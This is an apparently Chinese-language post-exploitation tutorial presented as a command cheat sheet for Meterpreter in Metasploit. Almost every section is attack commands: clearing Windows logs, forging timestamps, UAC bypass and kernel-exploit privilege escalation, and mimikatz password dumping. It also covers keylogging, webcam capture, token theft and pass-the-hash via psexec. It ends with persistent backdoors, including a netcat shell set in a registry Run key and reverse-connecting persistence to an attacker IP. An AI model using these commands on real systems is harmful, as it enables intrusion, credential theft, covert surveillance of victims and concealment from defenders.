后渗透之meterpreter使用攻略
字数 5908 2025-08-29 08:32:24
Meterpreter 后渗透使用完全指南
0x00 简介
Meterpreter 是 Metasploit 框架中的一个高级、动态可扩展的 payload,在后渗透阶段具有强大的攻击力。它运行在内存中,通过 stager 方式建立连接,提供了一套丰富的命令集用于系统操作、信息收集、权限提升等后渗透任务。
0x01 系统命令
基本系统命令
sessions:查看会话sessions -h查看帮助sessions -i <ID值>进入会话sessions -k杀死会话
background:将当前会话放置后台run:执行已有的模块,输入 run 后按两下 tab 列出已有脚本info:查看已有模块信息getuid:查看当前权限getpid:获取当前进程的 PIDsysinfo:查看目标系统信息ps:查看当前活跃进程kill <PID值>:杀死指定进程idletime:查看目标机闲置时间reboot/shutdown:重启/关机shell:进入目标机 cmd shell
uictl 开关键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all]:开启或禁止键盘/鼠标uictl disable mouse:禁用鼠标uictl disable keyboard:禁用键盘
webcam 摄像头命令
webcam_list:查看摄像头webcam_snap:通过摄像头拍照webcam_stream:通过摄像头开启视频
execute 执行文件
execute:在目标机中执行文件execute -H -i -f cmd.exe:创建新进程 cmd.exe,-H 不可见,-i 交互
migrate 进程迁移
getpid:获取当前进程的 PIDps:查看当前活跃进程migrate <pid值>:将 Meterpreter 会话移植到指定 PID 值进程中kill <pid值>:杀死进程
clearav 清除日志
clearav:清除 Windows 中的应用程序日志、系统日志、安全日志
0x02 文件系统命令
基本文件系统命令
getwd或pwd:查看当前工作目录ls:列出文件cd:切换目录search -f *pass*:搜索文件(-h 查看帮助)cat c:\\lltest\\lltestpasswd.txt:查看文件内容upload /tmp/hack.txt C:\\lltest:上传文件到目标机download c:\\lltest\\lltestpasswd.txt /tmp/:下载文件到本机edit c:\\1.txt:编辑或创建文件(不存在则新建)rm C:\\lltest\\hack.txt:删除文件mkdir lltest2:在当前目录下创建文件夹rmdir lltest2:删除当前目录下文件夹getlwd或lpwd:查看攻击者主机当前目录lcd /tmp:切换攻击者主机目录
timestomp 伪造时间戳
timestomp C:// -h:查看帮助timestomp -v C://2.txt:查看时间戳timestomp C://2.txt -f C://1.txt:将 1.txt 的时间戳复制给 2.txt
0x03 网络命令
基本网络命令
ipconfig/ifconfig:查看网络配置netstat –ano:查看网络连接arp:查看 ARP 表getproxy:查看代理信息route:查看路由表
portfwd 端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1:将目标机的 3389 端口转发到本地 6666 端口
autoroute 添加路由
run autoroute –h:查看帮助run autoroute -s 192.168.159.0/24:添加到目标环境网络run autoroute –p:查看添加的路由
然后可以利用 arp_scanner、portscan 等进行扫描:
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
Socks4a 代理
- autoroute 添加完路由后,利用 msf 自带的 sock4a 模块:
msf> use auxiliary/server/socks4a msf> set srvhost 127.0.0.1 msf> set srvport 1080 msf> run - 编辑
/etc/proxychains.conf,添加:socks4 127.0.0.1 1080 - 使用 proxychains 通过 Socks4a 代理访问
0x04 信息收集
信息收集脚本位于:
/usr/share/metasploit-framework/modules/post/windows/gather//usr/share/metasploit-framework/modules/post/linux/gather/
常用信息收集脚本:
run post/windows/gather/checkvm:检测是否虚拟机run post/linux/gather/checkvm:检测是否虚拟机run post/windows/gather/forensics/enum_drives:查看分区run post/windows/gather/enum_applications:获取安装软件信息run post/windows/gather/dumplinks:获取最近的文件操作run post/windows/gather/enum_ie:获取 IE 缓存run post/windows/gather/enum_chrome:获取 Chrome 缓存run post/windows/gather/enum_patches:获取补丁信息run post/windows/gather/enum_domain:查找域控
0x05 提权
1. getsystem 提权
getsystem:尝试提升到 SYSTEM 权限
工作原理:
- 创建一个新的 Windows 服务,设置为 SYSTEM 运行,启动时连接到命名管道
- 产生一个进程创建命名管道并等待服务连接
- Windows 服务启动,建立与命名管道的连接
- 进程接收连接并调用 ImpersonateNamedPipeClient,为 SYSTEM 用户创建模拟令牌
- 用 SYSTEM 模拟令牌产生 cmd.exe,获得 SYSTEM 特权进程
2. bypassuac
内置多个 bypassuac 脚本,原理不同但使用方法类似:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
示例:
msf> use exploit/windows/local/bypassuac
msf> set SESSION 2
msf> run
运行后返回新会话,需再次执行 getsystem 获取系统权限
3. 内核漏洞提权
- 先用 enum_patches 收集补丁信息:
meterpreter> run post/windows/gather/enum_patches - 查找可用 exploits 进行提权:
msf> use exploit/windows/local/ms13_053_schlamperei msf> set SESSION 2 msf> exploit
0x06 mimikatz 抓取密码
load mimikatz:加载 mimikatz(help mimikatz查看帮助)wdigest:获取 Wdigest 密码mimikatz_command -f samdump::hashes:执行 mimikatz 原始命令mimikatz_command -f sekurlsa::searchPasswords:搜索密码
0x07 远程桌面&截屏
enumdesktops:查看可用桌面getdesktop:获取当前关联的桌面set_desktop:设置关联的桌面(-h 查看帮助)screenshot:截屏use espia:使用 espia 模块截屏(输入screengrab)run vnc:使用 VNC 远程桌面连接
0x08 开启 RDP & 添加用户
1. getgui 命令
run getgui –h:查看帮助run getgui -e:开启远程桌面run getgui -u lltest2 -p 123456:添加用户run getgui -f 6661 –e:3389 端口转发到 6661
注意:getgui 添加用户有时可能没有远程桌面登录权限
2. enable_rdp 脚本
run post/windows/manage/enable_rdp:开启远程桌面run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456:添加用户run post/windows/manage/enable_rdp FORWARD=true LPORT=6662:将 3389 端口转发到 6662
实现原理:
- 开启 RDP:通过 reg 修改注册表
- 添加用户:调用 cmd.exe 通过 net user 添加
- 端口转发:利用 portfwd 命令
0x09 键盘记录
keyscan_start:开始键盘记录keyscan_dump:导出记录数据keyscan_stop:结束键盘记录
0x10 sniffer 抓包
use sniffersniffer_interfaces:查看网卡sniffer_start 2:选择网卡开始抓包sniffer_stats 2:查看状态sniffer_dump 2 /tmp/lltest.pcap:导出 pcap 数据包sniffer_stop 2:停止抓包
0x11 注册表操作
基本命令
reg –h:查看帮助-d:注册表中值的数据-k:注册表键路径-v:注册表键名称
enumkey:枚举可获得的键setval:设置键值queryval:查询键值数据
注册表设置 nc 后门
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32:上传 ncreg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run:枚举 run 下的 keyreg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe':设置键值reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc:查看键值nc -v 192.168.159.144 443:攻击者连接 nc 后门
0x12 令牌操纵
1. incognito 假冒令牌
use incognito:加载模块(help incognito查看帮助)list_tokens -u:查看可用 tokenimpersonate_token 'NT AUTHORITY\SYSTEM':假冒 SYSTEM token- 或
impersonate_token NT\ AUTHORITY\\SYSTEM(不加单引号需使用\)
- 或
execute -f cmd.exe -i –t:使用假冒的 token 执行(-t 参数)- 或直接
shell
- 或直接
rev2self:返回原始 token
2. steal_token 窃取令牌
steal_token <pid值>:从指定进程中窃取 token(先ps查看进程)drop_token:删除窃取的 token
0x13 哈希利用
1. 获取哈希
run post/windows/gather/smart_hashdump:从 SAM 导出密码哈希(需要 SYSTEM 权限)
2. PSExec 哈希传递
通过 smart_hashdump 获取用户哈希后,利用 psexec 模块进行哈希传递攻击
前提条件:
- 目标开启 445 端口 SMB 服务
- 开启 admin$ 共享
示例:
msf> use exploit/windows/smb/psexec
msf> set payload windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.159.134
msf> set LPORT 443
msf> set RHOST 192.168.159.144
msf> set SMBUser Administrator
msf> set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf> set SMBDomain WORKGROUP # 域用户需要设置 SMBDomain
msf> exploit
0x14 后门植入
Metasploit 自带两种后门启动方式:
- 通过启动项启动(persistence)
- 通过服务启动(metsvc)
- 还可通过 persistence_exe 自定义后门文件
1. persistence 启动项后门
在 C:\Users***\AppData\Local\Temp\ 上传 vbs 脚本,在注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 加入开机启动项
run persistence –h:查看帮助run persistence -X -i 5 -p 6661 -r 192.168.159.134:-X:开机自启动-i:反向连接间隔(5秒)-r:攻击者 IP
连接后门:
msf> use exploit/multi/handler
msf> set payload windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.159.134
msf> set LPORT 6661
msf> exploit
2. metsvc 服务后门
在 C:\Users***\AppData\Local\Temp\ 上传三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为 meterpreter
run metsvc –h:查看帮助run metsvc –A:自动安装后门
连接后门:
msf> use exploit/multi/handler
msf> set payload windows/metsvc_bind_tcp
msf> set RHOST 192.168.159.144
msf> set LPORT 31337
msf> exploit
0x15 扫描脚本
扫描脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/
常用扫描脚本示例:
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login